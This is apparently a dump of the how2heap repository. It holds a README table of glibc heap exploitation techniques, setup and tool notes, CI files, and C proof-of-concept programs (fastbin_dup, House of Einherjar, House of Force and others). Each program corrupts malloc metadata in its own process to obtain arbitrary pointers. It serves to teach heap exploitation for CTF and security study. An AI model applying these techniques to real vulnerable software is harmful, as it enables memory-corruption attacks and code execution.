| [house_of_water.c](glibc_2.36/house_of_water.c) | | Exploit a UAF or double free to gain leakless control of the t-cache metadata and a leakless way to link libc in t-cache | latest | | [37c3 Potluck - Tamagoyaki](https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki)|
| [sysmalloc_int_free.c](glibc_2.39/sysmalloc_int_free.c) | | Demonstrating freeing the nearly arbitrary sized Top Chunk (Wilderness) using malloc (sysmalloc `_int_free()` ) | latest | | |
| [house_of_orange.c](glibc_2.23/house_of_orange.c) | <a href="https://wargames.ret2.systems/level/how2heap_house_of_orange_2.23" title="Debug Technique In Browser">:arrow_forward:</a> | Exploiting the Top Chunk (Wilderness) in order to gain arbitrary code execution | < 2.26 | [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) | [Hitcon 2016 houseoforange](https://github.com/ctfs/write-ups-2016/tree/master/hitcon-ctf-2016/pwn/house-of-orange-500) |
| [house_of_tangerine.c](glibc_2.39/house_of_tangerine.c) | | Exploiting the Top Chunk (Wilderness) in order to trick malloc into returning a completely arbitrary pointer by abusing the tcache freelist | >= 2.26 | | [PicoCTF 2024- high frequency troubles](https://play.picoctf.org/practice/challenge/441?category=6&page=1&search=high%20frequency%20troubles) |
| [house_of_roman.c](glibc_2.23/house_of_roman.c) | <a href="https://wargames.ret2.systems/level/how2heap_house_of_roman_2.23" title="Debug Technique In Browser">:arrow_forward:</a> | Leakless technique in order to gain remote code execution via fake fastbins, the unsorted\_bin attack and relative overwrites. |< 2.29 |[patch](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c) ||
| [tcache_poisoning.c](glibc_2.35/tcache_poisoning.c) | <a href="https://wargames.ret2.systems/level/how2heap_tcache_poisoning_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Tricking malloc into returning a completely arbitrary pointer by abusing the tcache freelist. (requires heap leak on and after 2.32) | > 2.25 | [patch](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41) | |
| [tcache_house_of_spirit.c](glibc_2.35/tcache_house_of_spirit.c) | <a href="https://wargames.ret2.systems/level/how2heap_tcache_house_of_spirit_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Frees a fake chunk to get malloc to return a nearly-arbitrary pointer. | > 2.25 | | |
| [house_of_botcake.c](glibc_2.35/house_of_botcake.c) | <a href="https://wargames.ret2.systems/level/how2heap_house_of_botcake_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Bypass double free restriction on tcache. Make `tcache_dup` great again. | > 2.25 | | |
| [tcache_stashing_unlink_attack.c](glibc_2.35/tcache_stashing_unlink_attack.c) | <a href="https://wargames.ret2.systems/level/how2heap_tcache_stashing_unlink_attack_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Exploiting the overwrite of a freed chunk on small bin freelist to trick malloc into returning an arbitrary pointer and write a large value into arbitraty address with the help of calloc. | > 2.25 | | [Hitcon 2019 one punch man](https://github.com/xmzyshypnc/xz_files/tree/master/hitcon2019_one_punch_man) |
| [fastbin_reverse_into_tcache.c](glibc_2.35/fastbin_reverse_into_tcache.c) | <a href="https://wargames.ret2.systems/level/how2heap_fastbin_reverse_into_tcache_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Exploiting the overwrite of a freed chunk in the fastbin to write a large value into an arbitrary address. | > 2.25 | | |
| [house_of_mind_fastbin.c](glibc_2.35/house_of_mind_fastbin.c) | <a href="https://wargames.ret2.systems/level/how2heap_house_of_mind_fastbin_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Exploiting a single byte overwrite with arena handling to write a large value (heap pointer) to an arbitrary address | latest | | |
| [house_of_storm.c](glibc_2.27/house_of_storm.c) | <a href="https://wargames.ret2.systems/level/how2heap_house_of_storm_2.27" title="Debug Technique In Browser">:arrow_forward:</a> | Exploiting a use after free on both a large and unsorted bin chunk to return an arbitrary chunk from malloc| < 2.29 | | |
| [house_of_gods.c](glibc_2.24/house_of_gods.c) | <a href="https://wargames.ret2.systems/level/how2heap_house_of_gods_2.24" title="Debug Technique In Browser">:arrow_forward:</a> | A technique to hijack a thread's arena within 8 allocations | < 2.27 | | |
| [decrypt_safe_linking.c](glibc_2.35/decrypt_safe_linking.c) | <a href="https://wargames.ret2.systems/level/how2heap_decrypt_safe_linking_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Decrypt the poisoned value in linked list to recover the actual pointer | >= 2.32 | | |
| [safe_link_double_protect.c](glibc_2.36/safe_link_double_protect.c) | | Leakless bypass for PROTECT_PTR by protecting a pointer twice, allowing for arbitrary pointer linking in t-cache | >= 2.32 | | [37c3 Potluck - Tamagoyaki](https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki)|
| [tcache_dup.c](obsolete/glibc_2.27/tcache_dup.c)(obsolete) | | Tricking malloc into returning an already-allocated heap pointer by abusing the tcache freelist. | 2.26 - 2.28 | [patch](https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d) | |
| [tcache_metadata_poisoning.c](glibc_2.27/tcache_metadata_poisoning.c) | | Trick the tcache into providing arbitrary pointers by manipulating the tcache metadata struct | >= 2.26 | | |
| [house_of_io.c](glibc_2.31/house_of_io.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by UAF in a free'd tcache chunk. | 2.31 - 2.33 | | |
| [tcache_relative_write.c](glibc_2.41/tcache_relative_write.c) | | Arbitrary decimal value and chunk pointer writing in heap by out-of-bounds tcache metadata writing | 2.30-2.41 | [patch](https://sourceware.org/git/?p=glibc.git;a=commit;h=cbfd7988107b27b9ff1d0b57fa2c8f13a932e508) | |
| [tcache_metadata_hijacking](glibc_2.42/tcache_metadata_hijacking.c) | | Arbitrary allocation by overflow into tcache metadata | >= 2.42 | | |
The GnuLibc is under constant development and several of the techniques above have let to consistency checks introduced in the malloc/free logic.
Consequently, these checks regularly break some of the techniques and require adjustments to bypass them (if possible).
We address this issue by keeping multiple versions of the same technique for each Glibc-release that required an adjustment.
The structure is `glibc_<version>/technique.c`.
Have a good example?
Add it here!
Try to inline the whole technique in a single `.c` -- it's a lot easier to learn that way.
# Get Started
## Quick Setup
- make sure you have the following packages/tools installed: `patchelf zstd wget` (of course also `build-essential` or similar for compilers, `make`, ...)
- also, `/usr/bin/python` must be/point to your `python` binary (e. g. `/usr/bin/python3`)
```shell
git clone https://github.com/shellphish/how2heap
cd how2heap
make clean base
./malloc_playground
```
Notice that this will link the binaries with your system libc. If you want to play with other libc versions. Please refer to `Complete Setup`.
## Complete Setup
You will encounter symbol versioning issues (see [this](https://github.com/shellphish/how2heap/issues/169)) if you try to `LD_PRELOAD` libcs to a binary that's compiled on your host machine.
We have two ways to bypass it.
### Method 1: link against older libc
This one tells linker to link the target binary with the target libc.
```shell
git clone https://github.com/shellphish/how2heap
cd how2heap
H2H_USE_SYSTEM_LIBC=N make v2.23
```
This will link all the binaries against corresponding libcs. What's better is that it comes with debug symbols. Now you can play with any libc versions on your host machine.
In this example, it will compile all glibc-2.23 binaries and link them with libc-2.23. You can change the number to play with other libc versions.
### Method 2: use docker
This uses Docker-based approach to complie binaries inside an old ubuntu container so it is runnable with the target libc version.
```shell
git clone https://github.com/shellphish/how2heap
cd how2heap
# the next command will prepare the target binary so it runs with
# the expected libc version
make base
./glibc_run.sh 2.30 ./malloc_playground -d -p
# now you can play with the binary with glibc-2.30
# and even debug it with the correct symbols
readelf -d -W malloc_playground | grep RUNPATH # or use checksec
readelf -l -W malloc_playground | grep interpreter
gdb -q -ex "start" ./malloc_playground
```
# Heap Exploitation Tools
There are some heap exploitation tools floating around.
## Malloc Playground
The `malloc_playground.c` file given is the source for a program that prompts the user for commands to allocate and free memory interactively.
## Pwngdb
Examine the glibc heap in gdb: https://github.com/scwuaptx/Pwngdb
## pwndbg
An exploitation-centric gdb plugin that provides the ability to view/tamper with the glibc heap: https://github.com/pwndbg/pwndbg
## gef
Another excellent gdb plugin that provides the ability to examine the glibc heap: https://github.com/hugsy/gef
## heap-viewer
Examine the glibc heap in IDA Pro: https://github.com/danigargu/heap-viewer
## heaptrace
Helps you visualize heap operations by replacing addresses with symbols: https://github.com/Arinerron/heaptrace
# Other resources
Some good heap exploitation resources, roughly in reverse order of their publication, are:
## Useful heap exploitation tutorials
- Overview of GLIBC heap exploitation techniques (https://0x434b.dev/overview-of-glibc-heap-exploitation-techniques/) <!-- 2022 -->
- glibc in-depth tutorial (https://heap-exploitation.dhavalkapil.com/) - book and exploit samples <!-- 2022 -->
- Heap exploitation techniques that work on glibc-2.31 (https://github.com/StarCross-Tech/heap_exploit_2.31) <!-- 2020 -->
- Painless intro to the Linux userland heap (https://sensepost.com/blog/2017/painless-intro-to-the-linux-userland-heap/) <!-- 2017 -->
- ptmalloc fanzine, a set of resources and examples related to meta-data attacks on ptmalloc (http://tukan.farm/2016/07/26/ptmalloc-fanzine/) <!-- 2016 -->
- Glibc Adventures: The Forgotten Chunk (https://github.com/bash-c/slides/blob/master/pwn_heap/Glibc%20Adventures:%20The%20forgotten%20chunks.pdf) - advanced heap exploitation <!-- 2015 -->
## Historical heap exploitation (The History)
- Pseudomonarchia jemallocum (http://www.phrack.org/issues/68/10.html) <!-- 2012 -->
- The House Of Lore: Reloaded (http://phrack.org/issues/67/8.html) <!-- 2010 -->
- Malloc Des-Maleficarum (http://phrack.org/issues/66/10.html) - some malloc exploitation techniques <!-- 2009 -->
- Yet another free() exploitation technique (http://phrack.org/issues/66/6.html) <!-- 2009 -->
- The use of set_head to defeat the wilderness (http://phrack.org/issues/64/9.html) <!-- 2007 -->
- Understanding the heap by breaking it (https://www.blackhat.com/presentations/bh-usa-07/Ferguson/Whitepaper/bh-usa-07-ferguson-WP.pdf) - explains heap implementation and a couple exploits <!-- 2007 -->
- OS X heap exploitation techniques (http://phrack.org/issues/63/5.html) <!-- 2005 -->
- The Malloc Maleficarum (http://seclists.org/bugtraq/2005/Oct/118) <!-- 2005 -->
- Exploiting The Wilderness (http://seclists.org/vuln-dev/2004/Feb/25) <!-- 2004 -->
- Advanced Doug lea's malloc exploits (http://phrack.org/issues/61/6.html) <!-- 2003 -->
# Hardening
There are a couple of "hardening" measures embedded in glibc, like `export MALLOC_CHECK_=1` (enables some checks), `export MALLOC_PERTURB_=1` (data is overwritten), `export MALLOC_MMAP_THRESHOLD_=1` (always use mmap()), ...
More info: [mcheck()](http://www.gnu.org/software/libc/manual/html_node/Heap-Consistency-Checking.html), [mallopt()](http://www.gnu.org/software/libc/manual/html_node/Malloc-Tunable-Parameters.html).
There's also some tracing support as [mtrace()](http://manpages.ubuntu.com/mtrace), [malloc_stats()](http://manpages.ubuntu.com/malloc_stats), [malloc_info()](http://manpages.ubuntu.com/malloc_info), [memusage](http://manpages.ubuntu.com/memusage), and in other functions in this family.
================================================
FILE: calc_tcache_idx.c
================================================
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
struct malloc_chunk {
size_t mchunk_prev_size; /* Size of previous chunk (if free). */
size_t mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
/* The corresponding word size. */
#define SIZE_SZ (sizeof (size_t))
#define MALLOC_ALIGNMENT (2 * SIZE_SZ < __alignof__ (long double) \
? __alignof__ (long double) : 2 * SIZE_SZ)
/* The corresponding bit mask value. */
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
/* The smallest possible chunk */
#define MIN_CHUNK_SIZE (offsetof(struct malloc_chunk, fd_nextsize))
/* The smallest size we can malloc is an aligned minimal chunk */
#define MINSIZE \
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
/* When "x" is from chunksize(). */
# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
/* When "x" is a user-provided size. */
# define usize2tidx(x) csize2tidx (request2size (x))
int main()
{
unsigned long long req;
unsigned long long tidx;
fprintf(stderr, "This file doesn't demonstrate an attack, but calculates the tcache idx for a given chunk size.\n");
fprintf(stderr, "The basic formula is as follows:\n");
fprintf(stderr, "\tIDX = (CHUNKSIZE - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT\n");
fprintf(stderr, "\tOn a 64 bit system the current values are:\n");
fprintf(stderr, "\t\tMINSIZE: 0x%lx\n", MINSIZE);
fprintf(stderr, "\t\tMALLOC_ALIGNMENT: 0x%lx\n", MALLOC_ALIGNMENT);
fprintf(stderr, "\tSo we get the following equation:\n");
fprintf(stderr, "\tIDX = (CHUNKSIZE - 0x%lx) / 0x%lx\n\n", MINSIZE-MALLOC_ALIGNMENT+1, MALLOC_ALIGNMENT);
fprintf(stderr, "BUT be AWARE that CHUNKSIZE is not the x in malloc(x)\n");
fprintf(stderr, "It is calculated as follows:\n");
fprintf(stderr, "\tIF x + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE(0x%lx) CHUNKSIZE = MINSIZE (0x%lx)\n", MINSIZE, MINSIZE);
fprintf(stderr, "\tELSE: CHUNKSIZE = (x + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) \n");
fprintf(stderr, "\t=> CHUNKSIZE = (x + 0x%lx + 0x%lx) & ~0x%lx\n\n\n", SIZE_SZ, MALLOC_ALIGN_MASK, MALLOC_ALIGN_MASK);
while(1) {
fprintf(stderr, "[CTRL-C to exit] Please enter a size x (malloc(x)) in hex (e.g. 0x10): ");
scanf("%llx", &req);
tidx = usize2tidx(req);
if (tidx > 63) {
fprintf(stderr, "\nWARNING: NOT IN TCACHE RANGE!\n");
}
fprintf(stderr, "\nTCache Idx: %llu\n", tidx);
}
return 0;
}
================================================
FILE: ci/build/Dockerfile
================================================
FROM base
RUN apt-get update && apt-get install -y make git gcc
CMD bash -c "cd /how2heap && make all && cp $(which make) /how2heap/make"
================================================
FILE: ci/build/action.yml
================================================
name: 'build how2heap'
description: 'build how2heap on the targeted ubuntu docker'
inputs:
ubuntu:
description: 'build it on which ubuntu version'
required: true
runs:
using: "composite"
steps:
- name: create the base docker image
run: |
docker pull ubuntu:${{ inputs.ubuntu }}
docker tag ubuntu:${{ inputs.ubuntu }} base
shell: bash
- name: build how2heap inside the base container
run: |
git clone https://github.com/shellphish/how2heap /tmp/how2heap
cd /tmp/how2heap && git fetch origin ${GITHUB_REF}:action
cd /tmp/how2heap && git switch action
cd /tmp/how2heap/ci/build && docker build -t runner .
docker run -v /tmp/how2heap:/how2heap runner
shell: bash
================================================
FILE: ci/test/action.yml
================================================
name: 'test how2heap'
description: 'test how2heap on the targeted ubuntu docker'
inputs:
ubuntu:
description: 'build it on which ubuntu version'
required: true
glibc:
description: 'test against which glibc'
required: true
runs:
using: "composite"
steps:
- name: pull the target ubuntu image
run: |
docker pull ubuntu:${{ inputs.ubuntu }}
docker tag ubuntu:${{ inputs.ubuntu }} ubuntu_test
shell: bash
- name: test how2heap inside the raw container
run: |
docker run -v /tmp/how2heap:/how2heap ubuntu_test bash -c 'cd /how2heap; ./make test version=${{ inputs.glibc }}'
shell: bash
================================================
FILE: first_fit.c
================================================
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n");
fprintf(stderr, "This can be exploited in a use-after-free situation.\n");
fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
char* a = malloc(0x512);
char* b = malloc(0x256);
char* c;
fprintf(stderr, "1st malloc(0x512): %p\n", a);
fprintf(stderr, "2nd malloc(0x256): %p\n", b);
fprintf(stderr, "we could continue mallocing here...\n");
fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
strcpy(a, "this is A!");
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at %p\n", a);
fprintf(stderr, "So, let's allocate 0x500 bytes\n");
c = malloc(0x500);
fprintf(stderr, "3rd malloc(0x500): %p\n", c);
fprintf(stderr, "And put a different string here, \"this is C!\"\n");
strcpy(c, "this is C!");
fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.\n");
}
================================================
FILE: glibc_2.23/fastbin_dup.c
================================================
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
a = malloc(8);
b = malloc(8);
c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);
assert(a == c);
}
================================================
FILE: glibc_2.23/fastbin_dup_consolidate.c
================================================
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
/*
Original reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
This document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a
double free to gain two pointers to the same large-sized chunk, which is usually difficult to do
directly due to the previnuse check.
malloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially
merges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top
if possible.
As of glibc version 2.35 it is called only in the following five places:
1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)
2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)
3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)
4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)
5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)
We will be targeting the first place, so we will need to allocate a chunk that does not belong in the
small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901).
This means our chunk will need to be of size >= 0x400 (it is thus large-sized).
*/
int main() {
printf("This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication of a large-sized chunk\n");
void* p1 = calloc(1,0x40);
printf("Allocate a fastbin chunk p1=%p \n", p1);
printf("Freeing p1 will add it to the fastbin.\n\n");
free(p1);
void* p3 = malloc(0x400);
printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
printf("a chunk with chunk size 0x410. p3=%p\n", p3);
printf("\nmalloc_consolidate will merge the fast chunk p1 with top.\n");
printf("p3 is allocated from top since there is no bin bigger than it. Thus, p1 = p3.\n");
assert(p1 == p3);
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p3).\n\n");
free(p1); // vulnerability
printf("So p1 is double freed, and p3 hasn't been freed although it now points to the top, as our\n");
printf("chunk got consolidated with it. We have thus achieved UAF!\n");
printf("We will request a chunk of size 0x400, this will give us a 0x410 chunk from the top\n");
printf("p3 and p1 will still be pointing to it.\n");
void *p4 = malloc(0x400);
assert(p4 == p3);
printf("We now have two pointers (p3 and p4) that haven't been directly freed\n");
printf("and both point to the same large-sized chunk. p3=%p p4=%p\n", p3, p4);
printf("We have achieved duplication!\n\n");
return 0;
}
================================================
FILE: glibc_2.23/fastbin_dup_into_stack.c
================================================
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");
unsigned long long stack_var;
fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}
================================================
FILE: glibc_2.23/house_of_einherjar.c
================================================
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
/*
Credit to st4g3r for publishing this technique
The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak.
*/
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("Welcome to House of Einherjar!\n");
printf("Tested in Ubuntu 16.04 64bit.\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
uint8_t* a;
uint8_t* b;
uint8_t* d;
printf("\nWe allocate 0x38 bytes for 'a'\n");
a = (uint8_t*) malloc(0x38);
printf("a: %p\n", a);
int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);
// create a fake chunk
printf("\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n");
printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\n");
printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
printf("(although we could do the unsafe unlink technique here in some scenarios)\n");
size_t fake_chunk[6];
fake_chunk[0] = 0x00; // The prev_size vs. size check is of no concern, until GLIBC 2.26 P->bk->size == P->prev_size check
fake_chunk[1] = 0x00; // Arbitrary value; fake_chunk->size is ignored during backward consolidation.
fake_chunk[2] = (size_t) fake_chunk; // fwd
fake_chunk[3] = (size_t) fake_chunk; // bck
fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize
printf("Our fake chunk at %p looks like:\n", fake_chunk);
printf("prev_size (not used): %#lx\n", fake_chunk[0]);
printf("size: %#lx\n", fake_chunk[1]);
printf("fwd: %#lx\n", fake_chunk[2]);
printf("bck: %#lx\n", fake_chunk[3]);
printf("fwd_nextsize: %#lx\n", fake_chunk[4]);
printf("bck_nextsize: %#lx\n", fake_chunk[5]);
/* In this case it is easier if the chunk size attribute has a least significant byte with
* a value of 0x00. The least significant byte of this will be 0x00, because the size of
* the chunk includes the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0xf8);
int real_b_size = malloc_usable_size(b);
printf("\nWe allocate 0xf8 bytes for 'b'.\n");
printf("b: %p\n", b);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/
printf("\nb.size: %#lx\n", *b_size_ptr);
printf("b.size is: (0x100) | prev_inuse = 0x101\n");
printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0;
printf("b.size: %#lx\n", *b_size_ptr);
printf("This is easiest if b.size is a multiple of 0x100 so you "
"don't change the size of b, only its prev_inuse bit\n");
printf("If it had been modified, we would need a fake chunk inside "
"b where it will try to consolidate the next chunk\n");
// Write a fake prev_size to the end of a
printf("\nWe write a fake prev_size to the last %lu bytes of a so that "
"it will consolidate with our fake chunk\n", sizeof(size_t));
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
//Change the fake chunk's size to reflect b's new prev_size
printf("\nModify fake chunk's size to reflect b's new prev_size\n");
fake_chunk[1] = fake_size;
// free b and it will consolidate with our fake chunk
printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
free(b);
printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
//if we allocate another chunk before we free b we will need to
//do two things:
//1) We will need to adjust the size of our fake chunk so that
//fake_chunk + fake_chunk's size points to an area we control
//2) we will need to write the size of our fake chunk
//at the location we control.
//After doing these two things, when unlink gets called, our fake chunk will
//pass the size(P) == prev_size(next_chunk(P)) test.
//otherwise we need to make sure that our fake chunk is up against the
//wilderness
printf("\nNow we can call malloc() and it will begin in our fake chunk\n");
d = malloc(0x200);
printf("Next malloc(0x200) is at %p\n", d);
}
================================================
FILE: glibc_2.23/house_of_force.c
================================================
/*
This PoC works also with ASLR enabled.
It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum
( http://phrack.org/issues/66/10.html )
Tested in Ubuntu 14.04, 64bit, Ubuntu 18.04
*/
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
char bss_var[] = "This is a string that we want to overwrite.";
int main(int argc , char* argv[])
{
fprintf(stderr, "\nWelcome to the House of Force\n\n");
fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
"and is the chunk that will be resized when malloc asks for more space from the os.\n");
fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
fprintf(stderr, "Its current value is: %s\n", bss_var);
fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");
intptr_t *p1 = malloc(256);
fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);
fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
int real_size = malloc_usable_size(p1);
fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);
fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");
//----- VULNERABILITY ----
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);
fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
//------------------------
fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
"Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
"overflow) and will then be able to allocate a chunk right over the desired region.\n");
/*
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = dest - 2sizeof(long) - old_top - 2sizeof(long)
* req = dest - old_top - 4*sizeof(long)
*/
